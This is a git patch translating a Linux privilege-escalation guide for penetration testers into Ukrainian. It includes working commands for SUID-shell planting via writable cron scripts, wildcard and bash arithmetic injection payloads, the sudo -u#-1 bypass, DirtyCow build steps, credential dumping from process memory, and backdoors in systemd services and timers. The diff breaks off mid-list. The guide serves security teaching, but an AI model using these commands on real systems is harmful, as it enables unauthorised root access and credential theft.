From 389b86e753bd92e11764f5a382490fe1f785a908 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 16:55:28 +0000 Subject: [PATCH] Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's --- .../privilege-escalation/README.md | 597 +++++++++--------- .../pentesting-web/spring-actuators.md | 126 +++- 2 files changed, 412 insertions(+), 311 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 4faaef29f..e032083a5 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Інформація про систему +## System Information -### Інформація про ОС +### OS info Почнемо збирати інформацію про запущену ОС ```bash @@ -12,44 +12,44 @@ lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Шлях +### Path -Якщо ви **маєте права запису у будь-яку папку всередині змінної `PATH`**, ви можете hijack деякі libraries або binaries: +Якщо ви **have write permissions on any folder inside the `PATH`**, можливо, ви зможете hijack деякі libraries або binaries: ```bash echo $PATH ``` -### Інформація про змінні середовища +### Інформація про Env -Чи містять змінні середовища цікаву інформацію, паролі або API-ключі? +Чи є у змінних середовища цікава інформація, паролі або API-ключі? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Перевірте версію kernel та чи існує exploit, який можна використати для escalate privileges +Перевірте версію kernel і чи існує exploit, який можна використати для escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Ви можете знайти добрий список вразливих версій ядра та деякі вже **compiled exploits** тут: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) та [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Інші сайти, де можна знайти деякі **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Ви можете знайти хороший список вразливих kernel і деякі вже **compiled exploits** тут: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) і [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Інші сайти, де ви можете знайти деякі **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Щоб витягти всі версії вразливого ядра з цього сайту, ви можете зробити: +Щоб витягти всі vulnerable kernel versions з цього сайту, ви можете виконати: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Інструменти, які можуть допомогти шукати kernel exploits: +Інструменти, які можуть допомогти в пошуку kernel exploits: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (запустити на victim, перевіряє лише exploits для kernel 2.x) -Завжди **search the kernel version in Google**, можливо версія вашого kernel вказана в якомусь kernel exploit, і тоді ви будете впевнені, що цей exploit дійсний. +Завжди **шукайте версію ядра в Google**, можливо ваша версія ядра згадується в якомусь kernel exploit, і тоді ви будете впевнені, що цей exploit дійсний. ### CVE-2016-5195 (DirtyCow) -Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 +Підвищення привілеїв у Linux - Linux Kernel <= 3.19.0-73.8 ```bash # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo версія +### Sudo version -На основі вразливих версій sudo, які згадані в: +На основі вразливих версій sudo, які з'являються в: ```bash searchsploit sudo ``` -Ви можете перевірити, чи версія sudo вразлива, за допомогою цього grep. +Ви можете перевірити, чи версія sudo вразлива, використовуючи цей grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,20 +73,20 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` sudo -u#-1 /bin/bash ``` -### Dmesg перевірка підпису не вдалася +### Перевірка підпису Dmesg не пройшла -Перевірте **smasher2 box of HTB** для **прикладу** того, як цю vuln можна експлуатувати +Перегляньте **smasher2 box of HTB** як **приклад** того, як цей vuln можна експлуатувати ```bash dmesg 2>/dev/null | grep "signature" ``` -### Додаткова системна енумерація +### Більш детальна енумерація системи ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Перелічити можливі засоби захисту +## Перелічити можливі заходи захисту ### AppArmor ```bash @@ -123,8 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Якщо ви всередині docker container ви можете спробувати втекти з нього: - +Якщо ви перебуваєте всередині docker container, ви можете спробувати втекти з нього: {{#ref}} docker-security/ @@ -132,7 +131,7 @@ docker-security/ ## Диски -Перевірте **що змонтовано і відмонтовано**, де і чому. Якщо щось відмонтовано ви можете спробувати змонтувати це та перевірити на наявність приватної інформації +Перевірте **що змонтовано та відмонтовано**, де і чому. Якщо щось відмонтовано, ви можете спробувати його змонтувати та перевірити наявність приватної інформації. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,60 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Корисне програмне забезпечення -Перелічити корисні бінарні файли +Перелічіть корисні бінарні файли ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Також перевірте, чи встановлено **any compiler**. Це корисно, якщо вам потрібно використати якийсь kernel exploit — рекомендується компілювати його на машині, де ви збираєтеся його використовувати (або на подібній). +Також перевірте, чи встановлено **будь-який компілятор**. Це корисно, якщо вам потрібно використати якийсь kernel exploit, оскільки рекомендується компілювати його на машині, де ви збираєтеся його використовувати (або на подібній). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Встановлене уразливе програмне забезпечення +### Встановлене вразливе програмне забезпечення -Перевірте **версію встановлених пакетів та сервісів**. Можливо, є якась стара версія Nagios (наприклад), яка може бути використана для escalating privileges…\ -Рекомендується вручну перевіряти версії більш підозрілого встановленого програмного забезпечення. +Перевірте **версію встановлених пакетів та сервісів**. Можливо, є якась стара версія Nagios (наприклад), якою можна скористатися для ескалації привілеїв…\ +Рекомендується вручну перевіряти версії найбільш підозрілих встановлених програм. ```bash dpkg -l #Debian rpm -qa #Centos ``` -If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. +Якщо у вас є доступ по SSH до машини, ви також можете використати **openVAS** для перевірки застарілого або вразливого програмного забезпечення, встановленого на ній. -> [!NOTE] > _Зауважте, що ці команди виведуть велику кількість інформації, яка переважно буде марною, тому рекомендовано використовувати такі додатки, як OpenVAS або подібні, які перевіряють, чи яка-небудь встановлена версія програмного забезпечення є вразливою до відомих exploits_ +> [!NOTE] > _Зверніть увагу, що ці команди виведуть багато інформації, яка здебільшого буде марною, тому рекомендовано використовувати програми на кшталт OpenVAS або подібні, які перевірять, чи будь-яка встановлена версія програмного забезпечення вразлива до відомих exploits_ ## Процеси -Перегляньте, **які процеси** виконуються, і перевірте, чи якийсь процес має **більше привілеїв, ніж повинен** (можливо tomcat виконується від root?) +Подивіться, **які процеси** виконуються і перевірте, чи якийсь процес не має **більше привілеїв, ніж повинен** (можливо tomcat запущено під root?) ```bash ps aux ps -ef top -n 1 ``` -Завжди перевіряйте можливі [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляє їх, перевіряючи параметр `--inspect` у командному рядку процесу.\ -Також перевірте свої привілеї над бінарними файлами процесів — можливо, ви зможете перезаписати чиєсь. +Завжди перевіряйте наявність можливих [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляє їх, перевіряючи параметр `--inspect` у командному рядку процесу.\ +Також **перевірте свої привілеї щодо бінарних файлів процесів**, можливо, ви зможете перезаписати чиїсь. ### Моніторинг процесів -Ви можете використовувати інструменти на кшталт [**pspy**](https://github.com/DominicBreuker/pspy) для моніторингу процесів. Це може бути дуже корисним для виявлення вразливих процесів, які виконуються часто або коли виконуються певні умови. +Ви можете використовувати інструменти на кшталт [**pspy**](https://github.com/DominicBreuker/pspy) для моніторингу процесів. Це може бути дуже корисно для ідентифікації вразливих процесів, які виконуються часто або коли виконуються певні умови. -### Пам'ять процесів +### Пам'ять процесу -Деякі служби на сервері зберігають **credentials in clear text inside the memory**.\ -Зазвичай для читання пам'яті процесів, що належать іншим користувачам, потрібні **root privileges**, тому це зазвичай більш корисно, коли ви вже root і хочете знайти додаткові credentials.\ +Деякі служби сервера зберігають **credentials in clear text inside the memory**.\ +Зазвичай вам потрібні **root privileges** щоб читати пам'ять процесів, що належать іншим користувачам, тому це зазвичай більш корисно, коли ви вже root і хочете виявити більше credentials.\ Однак пам'ятайте, що **як звичайний користувач ви можете читати пам'ять процесів, які належать вам**. > [!WARNING] -> Зверніть увагу, що зараз на більшості машин **don't allow ptrace by default**, тобто ви не можете дампити інші процеси, що належать неповноваженому користувачу. +> Зверніть увагу, що зараз більшість машин **за замовчуванням не дозволяють ptrace**, що означає, що ви не можете отримати дамп інших процесів, які належать вашому непривілейованому користувачу. > -> Файл _**/proc/sys/kernel/yama/ptrace_scope**_ контролює доступність ptrace: +> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. Це класичний спосіб, як працювало ptracing. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. > - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. > - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. > - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -Якщо у вас є доступ до пам'яті FTP service (наприклад), ви можете отримати Heap і шукати всередині його credentials. +Якщо у вас є доступ до пам'яті служби FTP (наприклад), ви можете отримати Heap і шукати в ньому credentials. ```bash gdb -p (gdb) info proc mappings @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Для заданого ідентифікатора процесу, **maps показують, як пам'ять відображається у віртуальному адресному просторі цього процесу**; вони також показують **права доступу кожного відображеного регіону**. Псевдофайл **mem** **надає доступ до самої пам'яті процесу**. З файлу **maps** ми знаємо, які **області пам'яті доступні для читання** та їхні зміщення. Ми використовуємо цю інформацію, щоб **seek into the mem file and dump all readable regions** у файл. +Для заданого ідентифікатора процесу (PID), **maps показують, як пам'ять відображається у віртуальному адресному просторі цього процесу**; вони також показують **права доступу для кожного відображеного регіону**. Псевдо-файл **mem** **надає доступ до самої пам'яті процесу**. З файлу **maps** ми знаємо, які **регіони пам'яті доступні для читання** та їхні зсуви. Ми використовуємо цю інформацію, щоб **seek into the mem file and dump all readable regions** у файл. ```bash procdump() ( @@ -231,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` надає доступ до системної **фізичної** пам'яті, а не до віртуальної пам'яті. Віртуальний простір адрес ядра можна отримати через /dev/kmem.\ -Зазвичай `/dev/mem` доступний для читання лише для **root** та групи kmem. +`/dev/mem` надає доступ до **фізичної** пам'яті системи, а не до віртуальної пам'яті. Віртуальний простір адрес ядра можна отримати за допомогою /dev/kmem.\ +Зазвичай, `/dev/mem` доступний для читання лише користувачеві **root** та групі kmem. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump для Linux -ProcDump — це переосмислена версія класичного інструмента ProcDump із набору інструментів Sysinternals для Windows, адаптована для Linux. Отримати його можна на [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump — це реалізація для Linux класичного інструмента ProcDump із набору Sysinternals для Windows. Отримати можна за [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,40 +266,40 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Інструменти -Для dump пам'яті процесу можна використати: +Щоб зробити дамп пам'яті процесу, можна використати: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Ви можете вручну видалити вимоги до root і dump процес, що належить вам -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root потрібен) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Ви можете вручну видалити вимоги root і зробити дамп процесу, який належить вам +- Скрипт A.5 з [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (вимагається root) ### Облікові дані з пам'яті процесу #### Ручний приклад -Якщо ви виявите, що процес authenticator запущено: +Якщо ви виявите, що процес authenticator запущений: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Ви можете dump the process (див. попередні розділи, щоб знайти різні способи dump the memory of a process) і шукати credentials всередині memory: +Ви можете dump the process (див. попередні розділи, щоб знайти різні способи dump the memory of a process) і шукати credentials inside the memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Інструмент [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) буде **steal clear text credentials from memory** та з деяких **well known files**. Для правильної роботи він потребує привілеїв root. +The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) буде **викрадати облікові дані у відкритому тексті з пам'яті** та з деяких **відомих файлів**. Для коректної роботи він потребує привілеїв root. -| Функція | Назва процесу | -| ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| Функція | Назва процесу | +| ------------------------------------------------ | -------------------- | +| Пароль GDM (Kali Desktop, Debian Desktop) | gdm-password | +| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)| gnome-keyring-daemon | +| LightDM (Ubuntu Desktop) | lightdm | +| VSFTPd (активні FTP-з'єднання) | vsftpd | +| Apache2 (активні HTTP Basic Auth сесії) | apache2 | +| OpenSSH (активні SSH сесії - використання sudo) | sshd: | -#### Пошукові регулярні вирази/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Пошук регулярних виразів/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -316,153 +315,175 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## Scheduled/Cron jobs -Перевірте, чи вразливий якийсь scheduled job. Можливо, ви можете скористатися скриптом, що виконується від імені root (wildcard vuln? чи можна змінити файли, які використовує root? use symlinks? створити певні файли в директорії, яку використовує root?). +Перевірте, чи будь-яке заплановане завдання вразливе. Можливо, ви зможете скористатися скриптом, що виконується від імені root (wildcard vuln? можна змінити файли, які використовує root? use symlinks? створити певні файли в каталозі, який використовує root?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Шлях cron +### Шлях Cron Наприклад, у файлі _/etc/crontab_ можна знайти PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Зверніть увагу, що користувач "user" має права запису в /home/user_) +(_Зверніть увагу, як користувач "user" має права запису в /home/user_) -Якщо в цьому crontab користувач root намагається виконати якусь команду або скрипт без встановлення PATH. Наприклад: _\* \* \* \* root overwrite.sh_\ +Якщо в цьому crontab користувач root намагається виконати якусь команду або скрипт без встановленого PATH. Наприклад: _\* \* \* \* root overwrite.sh_\ Тоді ви можете отримати root shell, використавши: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron, що використовує скрипт з wildcard (Wildcard Injection) +### Cron, що використовує script з wildcard (Wildcard Injection) -Якщо скрипт, який виконується під root, має “**\***” всередині команди, ви можете використати це, щоб спричинити несподівані дії (наприклад privesc). Приклад: +Якщо script виконується від root і має “**\***” всередині command, це можна використати, щоб виконати непередбачувані дії (наприклад privesc). Приклад: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Якщо wildcard передує шляху на кшталт** _**/some/path/\***_ **, він не є вразливим (навіть** _**./\***_ **не є).** +**Якщо wildcard розміщено перед шляхом на кшталт** _**/some/path/\***_ **, це не вразливе (навіть** _**./\***_ **не є).** -Прочитайте наступну сторінку для додаткових трюків щодо wildcard exploitation: +Прочитайте наступну сторінку для додаткових трюків з експлуатації wildcard: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Cron script overwriting and symlink -Якщо ви **can modify a cron script** який виконується під root, ви дуже легко зможете отримати shell: +### Bash arithmetic expansion injection in cron log parsers + +Bash виконує parameter expansion і command substitution перед arithmetic evaluation в ((...)), $((...)) та let. Якщо root cron/parser читає untrusted log fields і підставляє їх в arithmetic context, нападник може інжектувати command substitution $(...), який виконається як root коли cron запуститься. + +- Чому це працює: У Bash, expansions відбуваються в такому порядку: parameter/variable expansion, command substitution, arithmetic expansion, потім word splitting і pathname expansion. Тому значення на кшталт `$(/bin/bash -c 'id > /tmp/pwn')0` спочатку підставляється (виконуючи команду), а потім залишковий числовий `0` використовується для арифметики, тож скрипт продовжує роботу без помилок. + +- Typical vulnerable pattern: +```bash +#!/bin/bash +# Example: parse a log and "sum" a count field coming from the log +while IFS=',' read -r ts user count rest; do +# count is untrusted if the log is attacker-controlled +(( total += count )) # or: let "n=$count" +done < /var/www/app/log/application.log +``` + +- Exploitation: Get attacker-controlled text written into the parsed log so that the numeric-looking field contains a command substitution and ends with a digit. Ensure your command does not print to stdout (or redirect it) so the arithmetic remains valid. +```bash +# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): +$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 +# When the root cron parser evaluates (( total += count )), your command runs as root. +``` + +### Cron script overwriting and symlink ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Якщо script, що виконується від імені root, використовує **каталог, до якого ви маєте повний доступ**, можливо, корисно видалити цю папку і **створити symlink, який вказує на інший каталог**, що містить script під вашим контролем. +Якщо script, який виконується від root, використовує **директорію, до якої у вас повний доступ**, можливо, буде корисно видалити цю папку і **створити symlink до іншої папки**, яка містить скрипт під вашим контролем. ```bash ln -d -s ``` -### Часті cron jobs +### Frequent cron jobs -Ви можете відстежувати процеси, щоб знайти ті, що виконуються кожні 1, 2 або 5 хвилин. Можливо, ви зможете скористатися цим і escalate privileges. +Ви можете моніторити процеси, щоб знайти ті, які виконуються кожні 1, 2 або 5 хвилин. Можливо, ви зможете скористатися цим і підвищити привілеї. -Наприклад, щоб **відстежувати кожні 0.1s протягом 1 хвилини**, **відсортувати за найменш виконуваними командами** і видалити команди, які виконувалися найчастіше, ви можете зробити: +Наприклад, щоб **моніторити кожні 0.1s протягом 1 хвилини**, **сортувати за найменш виконуваними командами** та видалити команди, які були виконані найчастіше, ви можете зробити так: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Ви також можете використовувати** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (це буде відстежувати і перераховувати кожен процес, що запускається). +**Ви також можете використовувати** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (це моніторитиме й перераховуватиме кожен процес, який запускається). ### Невидимі cron jobs -Можна створити cronjob, **вставивши символ повернення каретки (carriage return) після коментаря** (без символу нового рядка), і cron job буде працювати. Приклад (зауважте символ повернення каретки): +Можна створити cronjob, **помістивши carriage return після коментаря** (без символу нового рядка), і cron job працюватиме. Приклад (зверніть увагу на символ carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Сервіси -### Записувані _.service_ файли +### Файли _.service_, доступні для запису -Перевірте, чи можете ви записати будь-який `.service` файл; якщо так, ви **можете змінити його** так, щоб він **виконував** ваш **backdoor коли** сервіс **запускається**, **перезапускається** або **зупиняється** (можливо, вам доведеться почекати до перезавантаження машини).\ -Наприклад, створіть ваш backdoor всередині `.service` файлу з **`ExecStart=/tmp/script.sh`** +Перевірте, чи можете записати будь-який `.service` файл; якщо так, ви **можете змінити його**, щоб він **виконував** ваш **backdoor** коли служба **запускається**, **перезапускається** або **зупиняється** (можливо, доведеться почекати, поки машина не перезавантажиться).\ +Наприклад створіть ваш backdoor всередині .service файлу з **`ExecStart=/tmp/script.sh`** -### Доступні для запису service binaries +### Бінарні файли сервісів, доступні для запису -Майте на увазі, що якщо у вас є **write permissions over binaries being executed by services**, ви можете змінити їх на backdoors, тому при повторному виконанні services backdoors будуть виконані. +Майте на увазі, що якщо у вас є **write permissions over binaries being executed by services**, ви можете змінити їх на backdoors, тож при повторному виконанні сервісів backdoors будуть виконані. ### systemd PATH - Відносні шляхи -Ви можете подивитися PATH, який використовує **systemd**, за допомогою: +Ви можете переглянути PATH, який використовує **systemd**, за допомогою: ```bash systemctl show-environment ``` -Якщо ви виявите, що можете **write** в будь-яку з папок цього шляху, ви можете мати можливість **escalate privileges**. Потрібно шукати **relative paths being used on service configurations** у файлах, таких як: +Якщо ви виявите, що можете **записувати** в будь-яку з папок цього шляху, ви, можливо, зможете **escalate privileges**. Потрібно шукати **відносні шляхи, які використовуються у файлах конфігурації сервісів**, наприклад: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Тоді створіть **виконуваний файл** з **тим самим ім'ям, що й бінарний файл за відносним шляхом** у папці PATH systemd, у яку ви маєте право запису, і коли сервіс буде запрошений виконати вразливу дію (**Start**, **Stop**, **Reload**), ваш **backdoor** буде виконано (звичайні користувачі без привілеїв зазвичай не можуть запускати/зупиняти сервіси, але перевірте, чи можете ви використати `sudo -l`). +Потім створіть **executable** з **same name as the relative path binary** всередині systemd PATH folder, у який ви маєте право запису, і коли службі буде наказано виконати вразливу дію (**Start**, **Stop**, **Reload**), ваш **backdoor** буде виконано (непривілейовані користувачі зазвичай не можуть запускати/зупиняти служби, але перевірте, чи можете використати `sudo -l`). -**Дізнайтесь більше про сервіси за допомогою `man systemd.service`.** +**Learn more about services with `man systemd.service`.** ## **Таймери** -**Таймери** — це systemd unit файли, назва яких закінчується на `**.timer**`, що керують файлами або подіями `**.service**`. **Таймери** можуть використовуватися як альтернатива cron, оскільки вони мають вбудовану підтримку подій за календарним часом і монотонних часових подій та можуть виконуватися асинхронно. +**Таймери** — це unit-файли systemd, чиї імена закінчуються на `**.timer**`, які контролюють `**.service**` файли або події. **Таймери** можуть використовуватися як альтернатива cron, оскільки вони мають вбудовану підтримку календарних подій і монотонних тайм-подій та можуть виконуватися асинхронно. Ви можете перерахувати всі таймери за допомогою: ```bash systemctl list-timers --all ``` -### Доступні для запису таймери +### Таймери, доступні для запису -Якщо ви можете змінити таймер, ви можете змусити його запускати деякі існуючі одиниці systemd.unit (наприклад, `.service` або `.target`) +Якщо ви можете змінити таймер, ви можете змусити його запускати деякі існуючі одиниці systemd.unit (наприклад `.service` або `.target`) ```bash Unit=backdoor.service ``` -In the documentation you can read what the Unit is: +У документації можна прочитати, що таке Unit: -> Юніт, який потрібно активувати, коли цей таймер спливає. Аргумент — це ім'я unit'а, суфікс якого не є ".timer". Якщо не вказано, це значення за замовчуванням відповідає сервісу з тим самим іменем, що й таймер, за винятком суфікса. (Див. вище.) Рекомендується, щоб ім'я unit'а, який активується, та ім'я unit'а таймера збігалися, окрім суфікса. +> Unit, який буде активовано, коли цей timer спрацює. Аргумент — це ім'я unit, суфікс якого не є ".timer". Якщо не вказано, це значення за замовчуванням відповідає service, що має те саме ім'я, що й timer unit, за винятком суфікса. (Див. вище.) Рекомендується, щоб ім'я unit, яке активується, і ім'я unit таймера були однаковими, за винятком суфікса. -Therefore, to abuse this permission you would need to: +Отже, щоб зловживати цією привілеєю, вам потрібно: -- Знайти якийсь systemd unit (наприклад, `.service`), який **виконує записуваний двійковий файл** -- Знайти systemd unit, який **запускає відносний шлях**, і над яким у вас є **права на запис** у **systemd PATH** (щоб імітувати цей виконуваний файл) +- Знайти якийсь systemd unit (наприклад, `.service`), який **виконує записуваний бінарний файл** +- Знайти якийсь systemd unit, який **виконує відносний шлях** і над яким ви маєте **права запису** у **systemd PATH** (щоб імітувати цей виконуваний файл) -**Learn more about timers with `man systemd.timer`.** +**Дізнайтеся більше про таймери за допомогою `man systemd.timer`.** ### **Увімкнення таймера** -Щоб увімкнути таймер, потрібні права root та виконати: +Щоб увімкнути таймер, потрібні права root і виконати: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Зверніть увагу, що **timer** **активується** шляхом створення символічного посилання на нього в `/etc/systemd/system/.wants/.timer` +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` -## Сокети +## Sockets -Unix Domain Sockets (UDS) дозволяють **взаємодію процесів** на тій самій або різних машинах у межах клієнт-серверних моделей. Вони використовують стандартні Unix descriptor файли для міжкомп'ютерної комунікації і налаштовуються через `.socket` файли. +Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. -Сокети можна налаштовувати за допомогою файлів `.socket`. +Sockets can be configured using `.socket` files. -**Дізнатися більше про сокети можна через `man systemd.socket`.** Всередині цього файлу можна налаштувати кілька цікавих параметрів: +**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ці опції відрізняються, але у підсумку використовуються для **вказання, де буде прослуховуватися** сокет (шлях до файлу AF_UNIX сокета, IPv4/6 і/або номер порту для прослуховування тощо). -- `Accept`: Приймає булевий аргумент. Якщо **true**, для кожного вхідного з'єднання створюється екземпляр сервісу, і йому передається лише сокет з'єднання. Якщо **false**, всі прослуховувані сокети самі **передаються** запущеному юніту сервісу, і запускається лише один юніт сервісу для всіх з'єднань. Це значення ігнорується для datagram сокетів і FIFO, де один юніт сервісу безумовно обробляє весь вхідний трафік. **За замовчуванням — false**. З міркувань продуктивності рекомендується писати нові демони таким чином, щоб вони підходили для `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Приймають одну або кілька командних стрічок, які **виконуються перед** або **після** створення і прив'язки прослуховуваних **сокетів**/FIFO відповідно. Перший токен командного рядка повинен бути абсолютним шляхом до файлу, після нього йдуть аргументи процесу. -- `ExecStopPre`, `ExecStopPost`: Додаткові **команди**, які **виконуються перед** або **після** закриття і видалення прослуховуваних **сокетів**/FIFO відповідно. -- `Service`: Вказує ім'я юніту **service**, який потрібно **активувати** при **вхідному трафіку**. Ця опція дозволена лише для сокетів з Accept=no. За замовчуванням використовується сервіс з тим же ім'ям, що й сокет (з відповідною заміною суфікса). У більшості випадків застосування цієї опції не є необхідним. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, 